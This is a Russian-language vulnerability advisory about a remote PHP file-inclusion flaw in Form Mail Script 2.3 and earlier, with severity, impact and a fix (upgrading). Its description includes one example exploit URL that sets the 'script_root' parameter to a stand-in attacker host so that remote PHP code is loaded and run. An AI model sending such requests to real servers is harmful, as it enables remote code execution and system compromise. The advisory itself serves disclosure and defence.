PHP-инклюдинг в Form Mail Script
| Дата публикации: | 07.03.2005 |
| Дата изменения: | 24.03.2009 |
| Всего просмотров: | 1789 |
| Опасность: | Высокая |
| Наличие исправления: | Да |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Удаленная |
| Воздействие: | Компрометация системы |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | Form Mail Script 2.x |
| Уязвимые версии: Form Mail Script 2.3 и более ранние версии
Описание: Уязвимость обнаружена в сценарии 'inc/formmail.inc.php' из-за некорректной обработки входных данных в параметре 'script_root'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный PHP сценарий на уязвимой системе с привилегиями web сервера. Пример: http://[target]/[dir]/inc/form mail.inc.php?script_root=http://[attacker]/ URL производителя: http://www.stadtaus.com/php_scripts/formmail_script/ Решение: Установите последнюю версию с сайта производителя. Журнал изменений: |
|
| Ссылки: | Form Mail Script Lets Remote Users Include and Execute Arbitrary PHP Code |